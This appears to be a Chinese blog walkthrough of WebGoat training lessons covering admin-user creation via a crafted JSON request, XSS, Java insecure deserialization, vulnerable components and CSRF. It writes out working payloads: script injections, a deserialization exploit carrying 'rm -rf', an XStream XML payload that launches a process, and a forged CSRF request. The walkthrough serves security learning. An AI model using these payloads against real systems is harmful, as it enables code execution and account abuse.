增加请求头Content-Type: application/json的操作之后顺利拿到了 hash。。

但是这太难猜了把。。。

2.进阶做法

show hints 还能看到一种复杂思路,照着这个思路走了一遍

首先创建一个 admin 权限的用户,需要做 3 处修改:

(1)增加请求头 Content-Type: application/json

(2)请求方法改为 POST

(3)增加 json 格式的数据:{“username”:“newUser2”,“password”:“newUser12”,“role”:“WEBGOAT_ADMIN”}

然后返回登录页面,用这个账号就可以登陆了,然后在这个账号下重复简单做法(其实就是 cooike 不一样了)

就能看到 hash 值了

这个对这题来说是绕了个圈子,因为最后都得绕回简单做法,因为后来试了一下,用自己本来的账号也可以看到所有用户的信息。。~但或许这种思路在某些现实情况下有用吧


8.Cross-Site Scripting(XSS)

1

介绍 XSS,即脚本,当前端或后端没有对用户输入进行过滤时,js 脚本会在浏览器正常执行,常见的危害:
窃取会话 Cookie
创建虚假请求
在页面上创建虚假字段以收集凭据
将您的页面重定向到“不友好”站点
创建伪装成有效用户的请求
窃取机密信息
在最终用户系统上执行恶意代码(活动脚本)
插入恶意和不适当的内容

2

根据题意,查看 WebGoat 内各个网页对应的 Cookie 是否都一样。
(1)F12 打开控制台
输入 JS 命令,回车

(2)测试查看其他网页
发现每个选项卡上的 Cookie 都相同

(3)填写 yes

3.

xss 最常见的位置

  • 将搜索字符串回显给用户的搜索字段

  • 回显用户数据的输入字段

  • 返回用户提供的文本的错误消息

  • 包含用户提供的数据的隐藏字段

  • 显示用户提供的数据的任何页面

    • 留言板
    • 自由格式注释
  • HTTP 标头

4.

我们为什么要注意 xss

XSS 攻击可能导致

窃取会话 Cookie

创建虚假请求

在页面上创建 false 字段以收集凭据

将您的网页重定向到“不友好”的网站

创建伪装成有效用户的请求

窃取机密信息

在最终用户系统上执行恶意代码(活动脚本)

插入恶意和不当内容
	<img src="http://malicious.site.com/image.jpg/>
	">GoodYear recommends buying BridgeStone tires...

XSS 攻击增加了网络钓鱼攻击的有效性

URL 中使用了有效的域

5.

xss 类型

反射型

来自用户请求的恶意内容在 Web 浏览器中显示给用户

恶意内容在服务器响应后写入页面

需要社会工程学

使用从浏览器中的用户继承的浏览器权限运行

基于 DOM(也反映在技术上)

客户端脚本使用来自用户请求的恶意内容将 HTML 写入其自己的页面

与reflected XSS相似

使用从浏览器中的用户继承的浏览器权限运行

存储或持久化

恶意内容存储在服务器上(在数据库、文件系统或其他对象中),然后通过 Web 浏览器显示给用户

不需要社会工程

7.

找注入点

一个一个试就行了

分别在两个空输入alert(1),看返回的结果,

结果显示第一空存在 xss 漏洞,即不会过滤非法的输入

这里我们在第二空输入

1
<script>alert(1);</script>

就行了,即调用 js 的弹出窗口的功能

9.

反射型和基于 DOM 的 XSS

基于 DOM 的 XSS 是反射型 XSS 的另一种形式。两者都是通过发送一个链接来触发的,该链接的输入将反映到浏览器。 DOM 和“传统”反射型 XSS 之间的区别在于,使用 DOM 时,有效负载永远不会进入服务器。 它只会由客户端处理。

攻击者向受害者发送恶意 URL

受害者点击链接

该链接可能会加载恶意网页或他们使用(已登录?)的网页,该网页具有易受攻击的路由/处理程序

如果它是一个恶意网页,它可能会使用自己的 JavaScript 来攻击另一个具有易受攻击的路由/处理程序的页面/URL

易受攻击的页面呈现有效负载,并在该页面/站点的用户上下文中执行攻击

攻击者的恶意脚本可能以本地账号的权限运行命令

受害者没有意识到发生了攻击 … 恶意攻击者不使用 <script>alert('xss')</ script>

10.

根据题意,我们要找到留在应用程序中的 test 代码的 route,搜索 js 脚本。

这做题之前我们需要知道 js 里面的 Backbone.Router

Backbone.Router(路由) | Backbone.js 中文文档 1.1.2 (gitbooks.io)

它题目的案例写的很清楚

查看本课的 URL … 它应类似于 /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9。在这种情况下,“基本路线”是: 开始.mvc#lesson/ 之后的 CrossSiteScripting.lesson/9 是由 JavaScript 路由处理程序处理的参数。

这里我们需要找 test code

先用 f12 去看调试器中的(来源)resource,一个一个慢慢找就能看到 GoatRouter,里面有

1
2
3
4
5
6
7
8
9
var GoatAppRouter = Backbone.Router.extend({

routes: {
'welcome': 'welcomeRoute',
'lesson/:name': 'lessonRoute',
'lesson/:name/:pageNum': 'lessonPageRoute',
'test/:param': 'testRoute',
'reportCard': 'reportCard'
},

extendBackbone.Router.extend(properties, [classProperties]) 开始创建一个自定义的路由类。当匹配了 URL 片段便执行定义的动作,并可以通过 routes 定义路由动作键值对。 请注意,你要避免在路由定义时使用前导斜杠

所以这里答案就是直接start.mvc#test

11.

这里就是利用 test 进行 xss 攻击

题目给的webgoat.customjs.phoneHome()是会返回一个随机数

直接构建 payload

1
localhost:8080/WebGoat/start.mvc#test/%3Cscript%3Ewebgoat.customjs.phoneHome()%3C%2fscript%3E

在 f12 的 console 里面可以看到随机数,填入就行了

12

答案试 43124

  1. 可信网站是否能抵御 XSS 攻击?
    解决方案 1:是的,它们是安全的,因为浏览器在执行之前会检查代码。
    解决方案 2:是的,因为 Google 有一种阻止恶意代码的算法。
    解决方案 3:否,因为执行的脚本会突破浏览器的防御算法。
    解决方案 4:否,因为浏览器信任该网站,如果它被确认为受信任,则浏览器不知道该脚本是恶意的。

  2. XSS 攻击何时发生?
    解决方案 1:数据通过受信任的源进入 Web 应用程序。
    解决方案 2:数据通过网站进入浏览器应用程序。
    解决方案 3:数据包含在发送给 Web 用户的动态内容中,而未验证恶意内容。
    解决方案 4:数据在静态内容中被排除在外,即在未经验证的情况下发送数据。

  3. 什么是存储型 XSS 攻击?
    解决方案 1:脚本永久存储在服务器上,受害者在向服务器请求信息时获取恶意脚本。
    解决方案 2:该脚本将自身存储在受害者的计算机上,并在本地执行恶意代码。
    解决方案 3:该脚本将病毒存储在受害者的计算机上。攻击者现在可以执行各种操作。
    解决方案 4:脚本存储在浏览器中,并向攻击者发送信息。

  4. 什么是反射式 XSS 攻击?
    解决方案 1:反射攻击将恶意代码从数据库反射到 Web 服务器,然后将其反射回用户。
    解决方案 2:它们将注入的脚本反映在 Web 服务器之外。当发送到 Web 服务器的输入是请求的一部分时,就会发生这种情况。
    解决方案 3:反射式攻击从防火墙反射到用户从中请求信息的数据库。
    解决方案 4:反射型 XSS 是一种攻击,其中注入的脚本从数据库和 Web 服务器反射到用户。

  5. JavaScript 是执行 XSS 攻击的唯一方法吗?
    解决方案 1:是的,您只能通过 JavaScript 使用标签。
    解决方案 2:是的,否则您无法窃取 cookie。
    解决方案 3:不,也有 ECMAScript。
    解决方案 4:不,还有很多其他方法。如 HTML、Flash 或浏览器执行的任何其他类型的代码。


9.Insecure Deserialization(不安全的反序列化)

这一章难度直线上升😭,后面再回来看吧

这个写的挺详细的通过WebGoat学习java反序列化漏洞 - yokan - 博客园 (cnblogs.com)

Web Security 之 Insecure deserialization-腾讯云开发者社区-腾讯云 (tencent.com)

『 Day 11』Web Security - A8 . 反序列化漏洞 - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天 (ithome.com.tw)

OWASP TOP10系列之TOP8 # A8 不安全的反序列化_2017-a8-不安全的反序列化-CSDN博客

1.

概念

  • 本课介绍什么是序列化,以及如何操作序列化来执行不是开发人员最初意图的任务。

目标

  • 用户应该对 Java 编程语言有基本的了解

  • 用户将能够检测到不安全的反序列化漏洞

  • 用户将能够利用不安全的反序列化漏洞

  • 利用反序列化在其他编程语言(如 PHP 或 Python)中略有不同,但这里学到的关键概念也适用于所有这些语言

2.

序列化是什么

序列化是将某个对象转换为后期可以还原的数据格式的过程。人们经常序列化对象,以便将它们存储起来,或作为通信的一部分发送。反序列化与从某种格式获取结构化数据的过程相反,它是将其重建为对象的过程。如今,用于序列化数据的最流行的数据格式是JSON。在那之前,它是XML

下面是被序列化的PHP数组

1
2
3
4
5
6
7
a:4{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

#a:4: 表示这是一个关联数组,并且有4个元素。
#i:0;i:132; 表示索引为0的元素是一个整数,值为132。
#i:1;s:7:"Mallory"; 表示索引为1的元素是一个字符串,长度为7,值为"Mallory"
#i:2;s:4:"user"; 表示索引为2的元素是一个字符串,长度为4,值为"user"
#i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960"; 表示索引为3的元素是一个字符串,长度为32,值为"b6a8b3bea87fe0e05022f8f3c88bc960"

原生序列化

许多编程语言都提供了序列化对象的原生功能。这些原生格式通常提供比JSON或XML更多的特性,包括序列化过程的可定制性。不幸的是,当操作不可信的数据时,这些原生反序列化机制的特性可能会被重新利用,产生恶意影响。针对反序列化器的攻击已经被发现允许拒绝服务、访问控制和远程代码执行攻击。

已知受影响的编程语言

  • PHP

  • Python

  • Ruby

  • Java

  • C

  • C++

数据,而不是代码

只序列化数据。代码本身没有序列化。反序列化创建一个新对象并从字节流复制所有数据,以便获得与已序列化对象相同的对象。

3

下面是一个众所周知的Java反序列化漏洞示例

1
2
3
4
5
6
//这一行代码从HTTP请求对象(通常是一个HttpServletRequest对象)中获取输入流。这个输入流包含了客户端发送到服务器的数据。
InputStream is = request.getInputStream();
//这一行代码创建了一个新的ObjectInputStream对象,并使用上面获取的输入流作为参数。ObjectInputStream是Java中的一个类,它能够将对象序列化后的数据反序列化回原始对象。
ObjectInputStream ois = new ObjectInputStream(is);
//这一行代码使用readObject()方法从输入流中读取一个对象。这个方法返回一个Object类型的对象,所以我们需要将其强制转换为AcmeObject类型
AcmeObject acme = (AcmeObject)ois.readObject();

它期望一个AcmeObject对象,但是它将在强制转换发生之前执行readObject()。如果攻击者发现适当的类在readObject()中实现了危险的操作,他可以序列化该对象,并强制易受攻击的应用程序执行这些操作。

简单的理解就是服务端通过readObject()方法来读取序列化后的内容,如果客户端提交的代码重实现了这个readObject方法并制定为默认读取方法,就会产生问题,例如以下代码:

ClassPath中包含的类

攻击者需要在ClassPath中找到一个支持序列化并在readObject()上具有危险实现的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {

private static final long serialVersionUID = 1;

private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;

public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}

private void readObject( ObjectInputStream stream ) throws Exception {
//deserialize data so taskName and taskAction are available
//反序列化数据,使taskName和taskAction可用
stream.defaultReadObject();

//blindly run some code. #code injection
//这意味着,如果攻击者能够控制taskAction的值,他们就可以在反序列化过程中执行任意的系统命令。这是一个非常严重的安全漏洞,因为攻击者可以通过精心构造的输入来利用这个漏洞执行任意命令。
Runtime.getRuntime().exec(taskAction);
}
}

VulnerableTaskHolder类实现了Serializable接口,即支持序列化。然后重写了readObject方法,并使用defaultReadObject指定为默认readObject,然后调用Runtime的exec来实现外部命令,即可实现任意命令执行的效果。

利用

如果上面显示的java类存在,攻击者可以序列化该对象并获得远程代码执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
//创建一个VulnerableTaskHolder对象,并为其taskName和taskAction属性分别设置值为"delete all"和"rm -rf somefile"。这里,“rm -rf somefile”是一个用于删除文件的命令,其中“-rf”是两个选项,“-r”表示递归,“-f”表示强制删除。
VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");

//创建一个ByteArrayOutputStream对象,用于存储序列化后的对象数据。
ByteArrayOutputStream bos = new ByteArrayOutputStream();
//创建一个ObjectOutputStream对象,并传入之前创建的bos作为参数,用于将对象写入到bos中。
ObjectOutputStream oos = new ObjectOutputStream(bos);
//使用writeObject方法将go对象序列化并写入到bos中。
oos.writeObject(go);
//刷新输出流,确保所有的数据都被写入到底层的输出流中。
oos.flush();
//将存储在bos中的序列化数据转换为一个字节数组,并将其赋值给变量exploit。这个字节数组可以用于进一步的操作,例如通过网络发送给目标系统。
byte[] exploit = bos.toByteArray();

4.

什么是Gadets Chain

在反序列化时发现一个运行危险操作的gadget是很少的(但也可能发生)。但是,当一个gadget被反序列化时,要找到一个在其他gatget上运行操作的gadget要容易得多,而第二个gadget在第三个gadget上运行更多操作,以此类推,直到触发真正危险的操作。可以在反序列化过程中使用的gadget集被称为Gadget Chain。

寻找gadgets来构建gadget chains是安全研究人员的一个活跃话题。这种研究通常需要花费大量的时间阅读代码。

5.😭

这个用的是docker,但是过程还是值得一看webgoat-反序列化漏洞利用-Java Deserialization Scanner使用 - 知乎 (zhihu.com)

JAVA代码审计10:WEBGOAT Insecure Deserialization – 天下大木头 (wjlshare.com)

WebGoat代码审计-08-不安全的反序列化-腾讯云开发者社区-腾讯云 (tencent.com)

Java代码审计汇总系列(四)——反序列化-腾讯云开发者社区-腾讯云 (tencent.com)

10.Vulnerable Components(易损部件)

1

我们构建软件的方式已经改变。 开源社区正在走向成熟,开源软件的可用性已经变得多产,而无需考虑确定我们应用程序中使用的库的来源。Ref: Software Supply Chain

本课将介绍管理依赖库的困难、不管理这些依赖关系的风险,以及确定您是否处于危险之中的困难。

目标

  • 意识到使用的开源代码与您自己的自定义代码一样重要。
  • 了解我们的开源组件消费中的管理或缺乏管理。
  • 了解物料清单在确定开源组件风险方面的重要性

2

The Open Source Ecosystems

10+ Million GitHub code repositories

1 Million Sourceforge code repositories

2500 public binary repositories

    Some repositories have strict publisher standards

        Some repositories enforce source code distribution

        No guarantee the published source code is the source code of the published binary

    Some repositories allow the republishing of a different set of bits for the same version

    Some repositories allow you to remove published artifacts

Many different packaging systems; even for the same language

Different coordinates systems and level of granularity

开源生态系统

  • 10+ 百万 GitHub 代码仓库

  • 100 万个 Sourceforge 代码库

  • 2500 个公共二进制存储库

    • 某些存储库具有严格的发布者标准
      • 某些存储库强制执行源代码分发
      • 不能保证已发布的源代码是已发布二进制文件的源代码
    • 某些存储库允许为同一版本重新发布一组不同的位
    • 某些存储库允许您删除已发布的项目
  • 许多不同的包装系统;甚至对于相同的语言

  • 不同的坐标系和粒度级别

3.

2013 OWASP - 前 10 名 - A9

4.

Components are everywhere

WebGoat uses almost 200 Java and JavaScript libraries. Like most Java applications, we use maven to manage our java dependencies and we employ the wild, wild west strategy for managing JavaScript.

Vulnerable components in WebGoat?

When this lesson was created WebGoat contained more than a dozen high security risks within it’s components. Most of these were not deliberate choices. How are developers supposed to track this information across the hundreds of components?

组件无处不在

WebGoat使用了近200个Java和JavaScript库。像大多数Java应用程序一样,我们使用maven来管理我们的Java依赖,并采用狂野的西部策略来管理JavaScript。

WebGoat易受攻击的组件?

当这节课创建WebGoat时,它的组件中包含了十多个高安全风险。其中大多数都不是刻意的选择。开发人员应该如何跨数百个组件跟踪这些信息?

5.

这题默认是通过的 吗?

漏洞并不总是在“你的”代码中

下面是一个使用相同WebGoat源代码,但不同版本的jquery-ui组件的示例。一个是可利用的;一个不是。

jquery ui: 1.10.4

这个例子允许用户为jquery-ui对话框指定“closeText”的内容。这是一个不太可能的开发场景,但是jquery-ui对话框(TBD - show exploit link)并不能防御关闭对话框按钮文本中的XSS。

点击按钮确实触发了xss漏洞

jquery-ui:1.12.0 Not Vulnerable

使用相同的WebGoat源代码,但将jquery-ui库升级到非易受攻击的版本可以消除这个漏洞。

6

Knowing the OSS “Bill of Materials” is the starting point
Modern applications are comprised of custom code and many pieces of open source. The developer is normally very knowledgeable about their custom code but less familiar with the potential risk of the libraries/components they use. Think of the bill of materials as the list of ingredients in a recipe.

Questions we should know the answer to:
How do we know what open source components are in our applications?

How do we know what versions of open source components we are using?

How do we define the risk of open source components?

How do we discover the risk of open source components?

How do we associate a specific risk to a specific version of an open source component?

How do we know when a component releases a new version?

How do we know if a new vulnerability is found on what was previously a “good” component?

How do we know if we are using the authentic version of an open source component?

了解OSS“物料清单”是起点

现代应用程序由自定义代码和许多开源部分组成。开发人员通常非常了解他们的自定义代码,但不太熟悉他们使用的库/组件的潜在风险。将物料清单视为配方中的成分列表。

我们应该知道答案的问题:

  • 我们如何知道我们的应用程序中有哪些开源组件?

    • 我们如何知道我们正在使用什么版本的开源组件?
  • 我们如何定义开源组件的风险?

  • 我们如何发现开源组件的风险?

    • 我们如何将特定风险与开源组件的特定版本相关联?
  • 我们如何知道组件何时发布新版本?

  • 我们如何知道是否在以前的“良好”组件上发现了新的漏洞?

  • 我们如何知道我们是否在使用开源组件的真实版本?

7.

How do I generate a Bill of Materials
There are several open source and paid-for solutions that will identify risk in components. However, there are not many tools that will deliver a complete list of “ingredients” used within an application. OWASP Dependency Check provides the ability to generate a bill of materials and identify potential security risk.

Dependency check uses several pieces of evidence to determine the library names. You can add OWASP Dependency check as a plugin to the pom.xml of a Maven project for instance. The plugin will download information from public vulnerability databases and it will check if vulnerable libraries are used and will indicate which vulnerability was reported.

As part of a development pipeline, you can instruct the plugin to fail the build if there are violations that the development team was not aware of. Additionally you can use an xml file to waiver some of the violations. You should do so if the mentioned vulnerability cannot be exploited in your application.

In the parent pom.xml from WebGoat you can see an example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>5.3.2</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS>
<skipProvidedScope>true</skipProvidedScope>
<skipRuntimeScope>true</skipRuntimeScope>
<suppressionFiles>
<suppressionFile>project-suppression.xml</suppressionFile>
</suppressionFiles>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>

And also an example of the suppressed violations.

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd">
<suppress base="true">
<cpe>cpe:/a:pivotal_software:spring_security</cpe>
<cve>CVE-2018-1258</cve>
</suppress>
<suppress base="true"><!-- webgoat-server -->
<cpe>cpe:/a:postgresql:postgresql</cpe>
<cve>CVE-2018-10936</cve>
</suppress>
</suppressions>

如何生成物料清单

有几种开源和付费解决方案可以识别组件中的风险。 但是,没有多少工具可以提供应用程序中使用的“成分”的完整列表。 OWASP 依赖关系检查提供了生成物料清单和识别潜在安全风险的能力。

依赖项检查使用多个证据来确定库名称。例如,您可以将 OWASP 依赖项检查作为插件添加到 Maven 项目的 pom.xml 中。该插件将从公共漏洞数据库下载信息,并检查是否使用了易受攻击的库,并指示报告了哪个漏洞。

作为开发管道的一部分,如果存在开发团队不知道的违规行为,您可以指示插件使构建失败。此外,您可以使用 xml 文件来放弃某些违规行为。如果无法在应用程序中利用上述漏洞,则应这样做。

在 WebGoat 的父 pom.xml 中,您可以看到一个示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>5.3.2</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS>
<skipProvidedScope>true</skipProvidedScope>
<skipRuntimeScope>true</skipRuntimeScope>
<suppressionFiles>
<suppressionFile>project-suppression.xml</suppressionFile>
</suppressionFiles>
</configuration>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>

也是压制违规行为的一个例子。

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd">
<suppress base="true">
<cpe>cpe:/a:pivotal_software:spring_security</cpe>
<cve>CVE-2018-1258</cve>
</suppress>
<suppress base="true"><!-- webgoat-server -->
<cpe>cpe:/a:postgresql:postgresql</cpe>
<cve>CVE-2018-10936</cve>
</suppress>
</suppressions>

对于 WebGoat,当运行以下命令(owasp 配置文件)时,插件将被激活:

1
mvn clean install -Powasp 

以下是报告的片段,可以在例如 webgoat-container/target/dependency-check-report.html 中找到:

8.

Security Information Overload
What’s important?
Is my component exploitable?

Is my component an authentic copy?

Do I understand why my component is modified?

Security information is scattered everywhere
Multiple sources of security advisories

80,000+ CVEs in the National Vulnerbility Database

Node Security Project, Metasploit, VulnDB, Snyk, …

Thousands of website security advisories, blogs, tweets, …

600,000 GitHub events generated daily

700 GitHub security related events

Release notes, change logs, code comments, …

Summary
It is not reasonable to expect a developer to continually research each component.

Developers are not security experts; they already have a day job.

安全信息重载

什么是重要的?

  • 我的组件是否可被利用?

  • 我的组件是真实的副本吗?

    • 我是否了解为什么我的组件被修改了?

安全信息散落在各处

  • 多个安全公告来源

    • 80,000+ CVE 在国家漏洞数据库中
    • 节点安全项目、Metasploit、VulnDB、Snyk…
    • 数以千计的网站安全公告、博客、推文…
  • 每天生成 600,000 个 GitHub 事件

    • 700 个 GitHub 安全相关事件
    • 发行说明、更改日志、代码注释…

总结

  • 期望开发人员不断研究每个组件是不合理的.
  • 开发人员不是安全专家,他们已经有了日常工作。

9.

License Information Overload
What’s important?
Can I use this component within the context of distribution of my software?

Are there license incompatibilities?

If using a modified component, did I addressed additional license obligations?

License information is scattered everywhere
Projects declare a license:

In a project metadata file.

On the project website or source code repository page.

Using a link to a license file in their own source code repository.

In a license file within the project source tree.

In the binary META-INF folder.

Projects include licenses as headers in the source code.

Summary
It is difficult to determine the scope of a license.

A project often has license discrepancies.

Developers are not lawyers .

许可证信息重载

什么是重要的?

  • 我可以在软件分发的上下文中使用此组件吗?
  • 是否存在许可证不兼容问题?
  • 如果使用修改后的组件,我是否履行了额外的许可义务?

许可证信息散落在各处

  • 项目声明许可证:

    • 在项目元数据文件中。
    • 在项目网站或源代码存储库页面上。
    • 在他们自己的源代码存储库中使用指向许可证文件的链接。
    • 在项目源代码树中的许可证文件中。
    • 在二进制 META-INF 文件夹中。
  • 项目在源代码中包含许可证作为标头。

总结

  • 很难确定许可证的范围。
  • 一个项目通常存在许可证差异。
  • 开发商不是律师。

10

What’s important?

Is my component old or is it stable

Is my component unpopular

Was my lack of upgrade a deliberate choice or a lack of knowledge

Summary

It’s really difficult to keep components up to date

For the components analyzed in 25,000 applications it was found that:

8% of 2 year old components did not have a newer version

23% of 11 year old components did not have a newer version

Older components make up the majority of the risk

重要的是什么?

  • 我的组件是旧的还是稳定的

  • 我的成分不受欢迎吗?

  • 我没有升级是故意的选择还是缺乏知识

总结

  • 让组件保持最新是非常困难的

对于25000个应用程序中分析的组件,发现:

  • 8%的两年前的组件没有更新的版本

  • 23%的11年前的组件没有更新版本

  • 较旧的组件构成了大部分风险

11.

Some Examples of OSS Risk
Commons Collections

In November of 2015, the Apache Commons Collections component latest release was 8 years old. Commons Collections was considered a reliable and stable component. A researcher found a way to exploit a deserialization issue in Commons Collections resulting in a remote code execution. The next day… everyone using Commons Collections was in a panic.

Ref: Thousands of Java applications vulnerable to nine-month-old remote code execution exploit
Dinis Cruz and Alvaro Munoz exploit of XStream

XStream, a relatively common XML and JSON parsing library, has a nasty little remote code execution.
Ref: Dinis Cruz Blog
pwntester/XStreamPOC

You may want to read the article(s) before trying this lesson. Let’s see if you can figure out how to exploit this in WebGoat.

一些OSS风险的例子

Commons Collections

2015年11月,Apache Commons Collections组件的最新版本已经发布了8年。Commons Collections被认为是一个可靠和稳定的组件。一名研究人员发现了一种利用Commons Collections中的反序列化问题导致远程代码执行的方法。第二天,所有使用Commons Collections的人都陷入了恐慌。

参考:Thousands of Java applications vulnerable to nine-month-old remote code execution exploit

Dinis Cruz and Alvaro Munoz exploit of XStream(对XStream的利用)

XStream是一个相对常见的XML和JSON解析库,它的远程代码执行有点麻烦。
参考:Dinis Cruz Blog
pwntester / XStreamPOC

在尝试本课程之前,您可能需要阅读相关文章。让我们看看你是否能找出如何在WebGoat中利用这一点。

12😭

给个链接在这里吧XStream - CVE-2013-7285 (x-stream.github.io)

我也不会,去GitHub上看了issue发现有人在8.2.1提出了这个问题,但我也懒得搞了。。。

Webgoat 8.2.1 Vulnerable_Components_12显示内部服务器错误 ·期刊 #1027 ·WebGoat/WebGoat (github.com)

大概看了一下

网上很多POC都试过了没有用,返回的全是500错误

描述

解组时处理的流包含类型信息,用于重新创建以前写入的对象。 因此,XStream 会根据这些类型信息创建新实例。攻击者可以操纵已处理的 输入流并替换或注入对象,可以执行任意 shell 命令。

重现步骤

创建一个简单的接口,例如名为 Contact 和实现类。使用 XStream 封送此类 XML 的对象。将 XML 替换为以下代码片段,并使用 XStream 再次取消封送:

1
2
3
4
5
6
7
8
9
10
11
12
13
<contact class='dynamic-proxy'>
<interface>org.company.model.Contact</interface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</contact>
XStream xstream = new XStream();
Contact contact = (Contact)xstream.fromXML(xml);

然后,只要代码在 Contact 实例上调用任何方法,有效负载就会被执行,例如 contact.getFirstName() 中。

请注意,此示例使用 XML,但可以针对任何支持的格式执行攻击。例如 JSON。

13.

Summary
Open source consumption in modern day applications has increased.

Open source is obtained from many different repositories with different quality standards.

Security information on vulnerabilities is scattered everywhere.

License information is often difficult to validate.

Most teams don’t have a component upgrade strategy.

Open source components are the new attack vector.

What to do
Generate an OSS Bill of Materials.

Use automated tooling

Baseline open source consumption in your organization.

Develop an open source component risk management strategy to mitigate current risk and reduce future risk.

总结

  • 现代应用程序中的开源消费有所增加。
  • 开源是从许多具有不同质量标准的不同存储库中获得的。
  • 有关漏洞的安全信息散落在各处。
  • 许可证信息通常难以验证。
  • 大多数团队没有组件升级策略。
  • 开源组件是新的攻击媒介。

应采取的措施

  • 生成 OSS 物料清单。
  • 组织中的开源使用基线。
  • 制定开源组件风险管理策略,以减轻当前风险并降低未来风险。

11.Request Forgeries

1.Cross-Site Request Forgeries

1.

什么是跨站点请求伪造?

跨站请求伪造,又称一键攻击或会话骑乘,简称CSRF (有时发音为 sea-surf)或 XSRF,是一种恶意利用网站,其中传输未经授权的命令 来自网站信任的用户。与跨站点脚本 (XSS) 不同,XSS 利用用户对特定站点的信任,CSRF 利用网站对用户浏览器的信任。

跨站点请求伪造是针对 Web 浏览器的“混淆代理”攻击。CSRF通常具有以下特征:

  • 它涉及依赖于用户身份的网站。
  • 它利用了网站对该身份的信任。
  • 它诱骗用户的浏览器向目标站点发送 HTTP 请求。
  • 它涉及具有副作用的 HTTP 请求。

存在风险的是 Web 应用程序,这些应用程序根据受信任和经过身份验证的用户的输入执行操作,而无需用户授权 具体操作。通过保存在用户 Web 浏览器中的 Cookie 进行身份验证的用户可能会在不知不觉中向站点发送 HTTP 请求 信任用户,从而导致不需要的操作。

CSRF 攻击以/滥用基本 Web 功能为目标。如果站点允许,这会导致服务器上的状态发生变化,例如更改受害者的电子邮件地址或密码,或购买 东西。强制受害者检索数据对攻击者没有好处,因为攻击者没有收到响应,而受害者却收到响应。 因此,CSRF 攻击以状态更改请求为目标。

让我们继续进行一些练习,以解决执行 CSRF 请求的方法。

简单来说

CSRF顾名思义是来自跨站的攻击。用户同时登录了正常网站A和恶意网站B,B网站直接通过调用A网站的API接口来达到攻击目的。如账户转移等。
CSRF是利用了浏览器的Cookie会自动添加到请求的机制,使得恶意网站不需要知道正常网站的Cookie内容就可以直接发送请求,浏览器会自动补全Cookie。

2.

带有 GET 请求的 CSRF

这是最简单的 CSRF 攻击。例如,您会收到一封电子邮件,其中包含以下内容:

<a href="http://bank.com/transfer?account_number_from=123456789&account_number_to=987654321&amount=100000">View my Pictures!</a>

如果用户仍然登录到 bank.com 的网站,这个简单的GET请求会将资金从一个账户转移到另一个账户。 当然,在大多数情况下,网站可能有多个控件来批准请求。

3.

这题就是模拟csrf的攻击过程,即a用户在访问a网站的时候修改访问源,即恶意网站也能访问a网站的api

有两种做法

1.burp

点击提交后抓包,修改referer为其他网站就行了(比如我是修改成了http://baidu.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /WebGoat/csrf/basic-get-flag HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://127.0.0.1:8081
Connection: close
Referer: http://127.0.0.1:8081/WebGoat/start.mvc
Cookie: JSESSIONID=DmGof-F9diStHg3PLMQW-Axxi9D_ODDvamD03Lgz
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

csrf=false&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
  • Host表示请求的目的地,包括域名和端口号
  • Origin表示请求是从哪发起的,包括协议、域名、端口号
  • Referer表示当前页面的来源完整地址,包括协议、域名、查询参数
2.burp of csrf

burp自带了编写csrfPOC的功能

先抓包,找到Generate CSRF PoC

点击test in browser就可以在浏览器里面直接测试了

点开右边的Inspector,可以看到cookie还是WebGoat的cookie,从而达到欺骗的作用

复制到浏览器里面

或者另起一个html文件,把burp的PoC复制到文件里面,点击文件一样都可以

然后点击提交按钮,就能获取flag了

3.WebWolf

这个方法我没用,但其实和上面一个意思

WebGoat (A8:2013) Request Forgeries – Cross-Site Request Forgeries_webgoat cross-site request forgeries-CSDN博客

4.

这题也是用csrf代替用户发表评论

直接点击提交会返回It appears your request is coming from the same host you are submitting to.

